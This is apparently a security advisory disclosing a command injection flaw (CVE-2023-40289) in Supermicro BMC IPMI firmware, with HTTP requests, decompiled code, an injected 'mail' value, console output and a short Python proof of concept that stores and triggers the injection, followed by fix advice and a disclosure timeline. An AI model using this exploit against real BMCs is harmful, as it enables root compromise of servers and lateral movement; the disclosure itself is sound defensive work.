Command injection vulnerability in Supermicro BMC IPMI firmware
BINARLY team has discovered a command injection vulnerability in the web server component of Supermicro BMC IPMI firmware, allowing a possible attacker to execute arbitrary code.
Image preview
Potential Impact
An attacker can exploit this vulnerability to elevate privileges from a user with administrative privileges of IPMI web application to BMC system root. Running arbitrary code on the BMC operating system allows to make the attack persistent during a BMC component reboot and to perform lateral movement within compromised infrastructure, infecting other endpoints.
Image preview
Vulnerability Information
- BINARLY internal vulnerability identifier: BRLY-2023-001
- Supermicro PSIRT assigned CVE identifier: CVE-2023-40289
- BINARLY calculated CVSS v3.1: 9.1 Critical AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
- Supermicro PSIRT calculated CVSS v3.1: 7.2 High AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Image preview
Affected Supermicro firmware
| Device | Version | SHA256 |
|---|---|---|
X11SSM-F/X11SAE-F/X11SSE-F | 1.66 | dbc3842a5e3918463690fa165b2b0955989c00702bc7284af5875ef08e7606b1 |
Image preview
Vulnerability description
Supermicro BMC IPMI has a feature to send notification/alerts via email. User with administrative privileges can configure this notifications using the web interface via Configuration->Alerts and SMTP server settings using Configuration->SMTP menu. As a result of filling out these forms, the requests described below are sent to the backend:
POST /cgi/op.cgi HTTP/1.1
Host: 192.168.0.8
Cookie: SID=pm0Rz8aNwnr3TP3
Csrf_token: 2WrgyhZHTAJ/bHJlIhwstMAOlT7kK4WkhfcU7dLL6io
Content-Length: 110
...
op=config_alert&destination=192.168.0.10&severity=2&mail=admin@binarly.io&sub=test&msg=test&index=0&fun=m&_=
POST /cgi/op.cgi HTTP/1.1
Host: 192.168.0.8
Cookie: SID=pm0Rz8aNwnr3TP3
Csrf_token: 2WrgyhZHTAJ/bHJlIhwstMAOlT7kK4WkhfcU7dLL6io
Content-Length: 127
...
op=config_smtp&auth_en=on&smtpSSL_en=off&smtpaddr=192.168.0.15&smtpport=587&user=test&pwd=test&sender=bmc-alert@binarly.io&_=
On the server side, these values are stored and then used to send emails when notification/alert conditions are met. This process can also be triggered manually by selecting the created alert and clicking Send Test Alert button in the Configuration->Alerts menu, or directly with this request:
POST /cgi/op.cgi HTTP/1.1
Host: 192.168.0.8
Cookie: SID=pm0Rz8aNwnr3TP3
Csrf_token: 2WrgyhZHTAJ/bHJlIhwstMAOlT7kK4WkhfcU7dLL6io
Content-Length: 29
...
op=send_test_alert&index=0&_=
As a result, the code located at offset 0x7F648 in the libipmi.so binary is executed.
if ( smtpport ) // if custom SMTP port was specified
port = smtpport;
else
port = 25;
if ( user || pwd ) // if SMTP user or password was specified
_snprintf_chk(
command,
256,
1,
256,
"%s --host=%s --port=%d --timeout=10 --auth=login --user=%s --passwordeval='echo %s' --from=%s %s < %s 2>&1",
msmtp_path, // /bin/msmtp
smtpaddr, // SMTP server host
port, // SMTP server port
user, // SMTP server user
pwd, // SMTP server password
sender, // from email address
mail, // to email address
msg_path); // /tmp/pef.txt
else
_snprintf_chk(
command,
256,
1,
256,
"%s --host=%s --port=%d --timeout=10 --auth=off --from=%s %s < %s 2>&1",
msmtp_path, // /bin/msmtp
smtpaddr, // SMTP server host
port, // SMTP server port
sender, // from email address
mail, // to email address
msg_path); // /tmp/pef.txt
...
j_ipmi_log("email cmd=%s\n", command); // print command to console
v15 = 0;
...
while ( do_popen(command, v24) < 0 ) // execute command
{
v16 = v15++;
j_console_log("msmtp: cannot send email! retry %d\n", v16);
if ( v15 == 3 )
return 0;
}
First, shell command is constructed using the hardcoded msmtp_path and msg_path values, as well as other variables, which are user-controlled parameters provided through the previously mentioned requests.
The result will vary depending on whether the user specified username/password for SMTP server or not.
This command will then be printed to the console and passed to the do_popen function, where it will be executed using glibc popen.
The user-supplied smtpaddr, port, user, pwd and sender values used in building shell commands are checked for bad inputs on the server side, which prevents command injection. But mail parameter is not properly validated, so exploitation is possible:
POST /cgi/op.cgi HTTP/1.1
Host: 192.168.0.8
Cookie: SID=pm0Rz8aNwnr3TP3
Csrf_token: 2WrgyhZHTAJ/bHJlIhwstMAOlT7kK4WkhfcU7dLL6io
Content-Length: 138
...
op=config_alert&destination=192.168.0.10&severity=2&mail=admin@binarly.io;echo%20BRLY%20>/tmp/poc;cat&sub=test&msg=test&index=0&fun=m&_=
Console output:
email cmd=/bin/msmtp --host=192.168.0.15 --port=587 --timeout=10 --auth=login --user=test --passwordeval='echo test' --from=bmc-alert@binarly.io admin@binarly.io;echo BRLY >/tmp/poc;cat < /tmp/pef.txt 2>&1
msmtp: cannot connect to 192.168.0.15, port 587: Connection timed out
msmtp: could not send mail
msmtp: send email
SNMP msg=
30 81 02 02 01 00 04 06 70 75 62 6c 69 63 a4 81
10 06 09 2b 06 01 04 01 98 6f 01 01 40 04 c0 a8
2a 1b 02 01 06 02 04 00 00 00 00 43 04 63 eb 1d
ce 30 81 33 30 81 36 06 0a 2b 06 01 04 01 98 6f
01 01 01 04 44 33 31 30 31 4d 53 00 00 00 00 00
00 00 00 00 00 00 0b 2f 40 41 4e ff ff 20 20 02
00 00 00 00 00 00 00 00 00 00 00 00 19 7c 2a 00
/ # cat /tmp/poc
BRLY
Image preview
Steps for exploitation
Below is the minimum PoC leading to RCE:
import requests
HOST = "192.168.0.8"
PORT = 443
SID_COOKIE = "pm0Rz8aNwnr3TP3"
CSRF_TOKEN = "2WrgyhZHTAJ/bHJlIhwstMAOlT7kK4WkhfcU7dLL6io"
PAYLOAD = "echo BRLY >/tmp/poc"
url = f"https://{HOST}:{PORT}/cgi/op.cgi"
cookies = {"SID": SID_COOKIE}
headers = {"Csrf_token": CSRF_TOKEN, "Referer": f"https://{HOST}:{PORT}/"}
def store_payload():
data = {"op": "config_alert", "destination": "192.168.0.10", "severity": "2", "mail": f"admin@binarly.io;{PAYLOAD};cat", "sub": "test", "msg": "test", "index": "0", "fun": "m"}
requests.post(url, headers=headers, cookies=cookies, data=data, verify=False)
def trigger_exploit():
data = {"op": "send_test_alert", "index": "0"}
requests.post(url, headers=headers, cookies=cookies, data=data, verify=False)
if __name__ == "__main__":
store_payload()
trigger_exploit()
Image preview
How to fix it
Ideally, user input should not be used in OS commands, instead, platform APIs or functional libraries are recommended. If it is not possible in such case, the mail parameter must be checked against a whitelist of allowed characters before passing it to popen.
Image preview
Disclosure timeline
This bug is subject to a 90 day disclosure deadline. After 90 days elapsed or a patch has been made broadly available (whichever is earlier), the bug report will become visible to the public.
| Disclosure Activity | Date (YYYY-mm-dd) |
|---|---|
Supermicro PSIRT is notified | 2023-06-14 |
Supermicro PSIRT confirmed reported issue | 2023-06-29 |
Supermicro PSIRT assigned CVE number | 2023-08-17 |
Supermicro PSIRT provide patch release | 2023-10-03 |
BINARLY public disclosure date | 2023-10-03 |
Image preview
Acknowledgements
Image preview
See if you are impacted now with our Firmware Vulnerability Scanner
Find Vulnerabilities, Generate SBOMs & CBOMs